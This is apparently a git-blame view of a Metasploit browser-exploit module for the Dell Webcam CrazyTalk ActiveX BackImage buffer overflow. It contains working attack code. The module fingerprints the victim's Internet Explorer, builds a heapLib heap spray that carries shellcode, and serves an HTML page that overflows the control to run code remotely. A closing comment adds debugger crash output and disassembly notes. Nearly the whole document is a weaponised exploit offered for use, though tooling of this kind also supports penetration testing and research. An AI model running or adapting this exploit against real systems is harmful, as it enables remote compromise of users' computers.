2012-03-20 08:46:37 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-03-20 08:46:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in Dell Webcam's CrazyTalk component.
|
|
|
|
Specifically, when supplying a long string for a file path to the BackImage
|
|
|
|
property, an overflow may occur after checking certain file extension names,
|
|
|
|
resulting in remote code execution under the context of the user.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'rgod', #Discovery, PoC
|
|
|
|
'sinn3r' #Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],
|
|
|
|
[ 'EDB', '18621' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '80205']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => "seh",
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ],
|
|
|
|
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ],
|
|
|
|
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600'} ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Mar 19 2012",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_target(agent)
|
|
|
|
#If the user is already specified by the user, we'll just use that
|
|
|
|
return target if target.name != 'Automatic'
|
|
|
|
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
|
|
return targets[1] #IE 6 on Windows XP SP3
|
|
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
|
|
return targets[2] #IE 7 on Windows XP SP3
|
|
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
|
|
return targets[3] #IE 7 on Windows Vista
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
my_target = get_target(agent)
|
|
|
|
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
|
|
if my_target.nil?
|
|
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Target set: #{my_target.name}")
|
|
|
|
|
|
|
|
p = payload.encoded
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
js = <<-JS
|
|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
|
|
var code = unescape("#{js_code}");
|
|
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
|
|
|
|
|
|
heap_obj.gc();
|
|
|
|
|
|
|
|
for (var i=1; i < 0x300; i++) {
|
|
|
|
heap_obj.alloc(block);
|
|
|
|
}
|
|
|
|
JS
|
|
|
|
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
|
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
#{js}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object>
|
|
|
|
<script>
|
|
|
|
var arg = "\x0c";
|
|
|
|
while (arg.length < 2000) arg += arg;
|
|
|
|
target.BackImage = arg.substring(0, 2000);
|
|
|
|
</script>
|
|
|
|
</html>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
print_status("Sending HTML")
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
|
|
|
|
end
|
2012-03-20 08:46:37 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
The tmp path has the username that we cannot accurately control remotely, so there's
|
|
|
|
no point to try to overwrite the stack precisely.
|
|
|
|
|
|
|
|
targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"
|
|
|
|
prototype = "Invoke_Unknown BackImage As String"
|
|
|
|
memberName = "BackImage"
|
|
|
|
progid = "CRAZYTALK4Lib.CrazyTalk4"
|
|
|
|
argCount = 1
|
|
|
|
|
|
|
|
(d4c.d9c): Access violation - code c0000005 (first chance)
|
|
|
|
First chance exceptions are reported before any exception handling.
|
|
|
|
This exception may be expected and handled.
|
|
|
|
eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac
|
|
|
|
eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
|
|
|
<Unloaded_Ed20.dll>+0x41414140:
|
|
|
|
41414141 ?? ???
|
|
|
|
|
|
|
|
======
|
|
|
|
|
|
|
|
.text:03854F59 lea ecx, [esp+33Ch+Str1]
|
|
|
|
.text:03854F5D push offset a_asp ; ".asp"
|
|
|
|
.text:03854F62 push ecx ; Str1
|
|
|
|
.text:03854F63 mov [esp+344h+var_308], 0
|
|
|
|
.text:03854F68 call ebx ; _stricmp <-- Nope
|
|
|
|
|
|
|
|
.text:03854F71 lea edx, [esp+328h+Str1]
|
|
|
|
.text:03854F75 push offset a_php ; ".php"
|
|
|
|
.text:03854F7A push edx ; Str1
|
|
|
|
.text:03854F7B call ebx ; _stricmp <--- Still nope
|
|
|
|
|
|
|
|
.text:03854F84 mov ebx, [esp+328h+Dest]
|
|
|
|
.text:03854F8B lea eax, [esp+328h+Str1]
|
|
|
|
.text:03854F8F lea ecx, [esp+328h+Filename]
|
|
|
|
.text:03854F96 push eax
|
|
|
|
.text:03854F97 add esi, 3B44h
|
|
|
|
.text:03854F9D push ecx
|
|
|
|
.text:03854F9E push esi
|
|
|
|
.text:03854F9F push offset aSSS ; "%s%s%s"
|
|
|
|
.text:03854FA4 push ebx ; Dest
|
|
|
|
.text:03854FA5 call ds:sprintf
|
2012-03-20 12:49:30 +00:00
|
|
|
=end
|